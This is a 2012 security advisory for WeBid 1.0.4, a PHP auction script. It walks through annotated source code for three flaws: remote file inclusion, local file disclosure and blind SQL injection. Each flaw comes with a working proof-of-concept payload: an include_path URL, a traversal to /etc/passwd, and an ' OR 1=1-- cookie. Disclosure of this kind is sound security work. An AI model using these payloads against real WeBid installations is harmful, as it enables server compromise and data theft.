webid 1.0.4 - Multiple Vulnerabilities

  :::::::-.   ...    ::::::.    :::.
   ;;,   `';, ;;     ;;;`;;;;,  `;;;
   `[[     [[[['     [[[  [[[[[. '[[
    $$,    $$$$      $$$  $$$ "Y$c$$
    888_,o8P'88    .d888  888    Y88
    MMMMP"`   "YmmMMMM""  MMM     YM

   [ Discovered by dun \ posdub[at]gmail.com ]
   [ 2012-08-17                              ]
 ################################################
 # [ WeBid <= 1.0.4 ] Multiple Vulnerabilities  #
 ################################################
 #
 # Script: "Open source php/mysql fully featured auction script"
 #
 # Vendor:   http://www.webidsupport.com/
 # Download: http://sourceforge.net/projects/simpleauction/files/simpleauction/
 #
 ################################################
 # [RFI] ( allow_url_include = On; register_globals = On; )
 # PoC: http://localhost/WeBid/loader.php?js=admin/logout.php&include_path=http://localhost/info.txt?
 #
 # File: ./WeBid/loader.php (lines: 15-60)
 #  ..cut..
 # ob_start('ob_gzhandler');
 # header("Content-type: text/javascript");
 # include 'includes/checks/files.php';               // 1 ( Definition of $file_hashs array )
 # if (isset($_GET['js']))
 # {
 #    $js = explode(';', $_GET['js']);                // 3 js = admin/logout.php (for example) 
 #    foreach ($js as $val)
 #    {
 #       $ext = substr($val, strrpos($val, '.') + 1); // 4
 #       if ($ext == 'php')                           // 4
 #       {
 #          if (check_file($val))                     // 5
 #          {
 #             include $val;                          // 10 include admin/logout.php
 #          }
 #       }
 #  ..cut..
 #    }
 # }
 # ob_end_flush();
 #
 # function check_file($file)
 # {
 #    global $file_hashs;                             // 6
 #    $tmp = $file_hashs;
 #    $folders = explode('/', $file);                 // 7 $folders = Array([0] => admin, [1] => logout.php)
 #    foreach ($folders as $val)                      // 8 This loop checks if parts of $folders are in $file_hashs
 #    {
 #       if (isset($tmp[$val]))
 #       {
 #          $tmp = $tmp[$val];
 #       }
 #       else
 #       {
 #          return false;
 #       }
 #    }
 #    return true;                                    // 9 admin/logout.php passed
 # }
 #  ..cut..
 #
 # File: ./WeBid/includes/checks/files.php (lines: 2-19)
 #  ..cut..
 # $file_hashs = array(                                      // 2 List of files that can be included.
 #  ..cut..
 #    'admin' => array(                                      // 2 
 #       'logout.php' => 'a0db39b73dcfd29feb1466002c4f59a4', // 2
 #        ..cut..
 #    ),
 #  ..cut..
 # );
 #
 # File: ./WeBid/admin/logout.php (lines: 16-17)
 #  ..cut..                                           // 11 common.inc.php file contains a definition of $include_path
 # include '../includes/common.inc.php';              // 11 Failed, because loader.php is in root path
 # include $include_path . 'functions_admin.php';     // 12 *[RFI] $include_path is not set by script
 #  ..cut..                                           // 12 If register_globals is On, we can set $include_path
 #
 ################################################
 # [Local File Disclosure] ( magic_quotes_gpc = Off; php version < 5.3.4 )
 # PoC: http://localhost/WeBid/getthumb.php?fromfile=getthumb.php&w=../../../../../etc/passwd%00
 #
 # File: ./WeBid/getthumb.php (lines: 17-52)
 #  ..cut..
 # $w = (isset($_GET['w'])) ? $_GET['w'] : '';                                      // 1
 # $fromfile = (isset($_GET['fromfile'])) ? $_GET['fromfile'] : '';                 // 2
 # $nomanage = false;
 #  ..cut..
 # if (!isset($_GET['fromfile']))                                                   // 3
 # {
 #    ErrorPNG('params empty');
 #    exit;
 # }
 # elseif (!file_exists($_GET['fromfile']) && !fopen($_GET['fromfile'], 'r'))       // 4
 # {
 #    ErrorPNG('img does not exist');
 #    exit;
 # }
 #
 # if (file_exists($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)))    // 5
 # {
 #    $img = getimagesize($fromfile);
 #    if ($img[2] == 1)
 #    {
 #       $img['mime'] = 'image/png';
 #    }
 #    header('Content-type: ' . $img['mime']);
 #    echo file_get_contents($upload_path . 'cache/' . $_GET['w'] . '-' . md5($fromfile)); // 6 *[LFD]
 #    }
 # }
 #  ..cut..
 #
 ################################################
 # [Blind SQL Injection] ( magic_quotes_gpc = Off; )
 # PoC:
 # http://localhost/WeBid/contents.php
 # GET /WeBid/contents.php HTTP/1.1
 # Host: localhost
 # User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1
 # Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 # Accept-Language: pl,en-us;q=0.7,en;q=0.3
 # Accept-Encoding: gzip, deflate
 # Connection: keep-alive
 # Cookie: WEBID_ONLINE=-1' OR 1=1--
 #
 # File: ./WeBid/contents.php (lines: 15, 38)
 #  ..cut..
 # include 'includes/common.inc.php';
 #  ..cut..
 # include 'header.php';                                        // 1
 #  ..cut..
 #
 # File: ./WeBid/header.php (line: 26)
 #  ..cut..
 # $counters = load_counters();                                 // 2
 #  ..cut..
 #
 # File: ./WeBid/includes/functions_global.php (line: 287-320)
 #  ..cut..
 # function load_counters()                                     // 3
 # {
 #  ..cut..
 #      if (!$user->logged_in)
 #      {
 #         if (!isset($_COOKIE['WEBID_ONLINE']))
 #         {
 #            $s = md5(rand(0, 99) . session_id());
 #            setcookie('WEBID_ONLINE', $s, time() + 900);
 #         }
 #         else
 #         {
 #            $s = $_COOKIE['WEBID_ONLINE'];                    // 4
 #            setcookie('WEBID_ONLINE', $s, time() + 900);
 #         }
 #      }
 #  ..cut..
 #      $query = "SELECT id FROM " . $DBPrefix . "online WHERE SESSION = '$s'"; // 5 *[SQL]
 #      $res = mysql_query($query);
 #      $system->check_mysql($res, $query, __LINE__, __FILE__);
 #  ..cut..
 #
 ### [ dun / 2012 ] #############################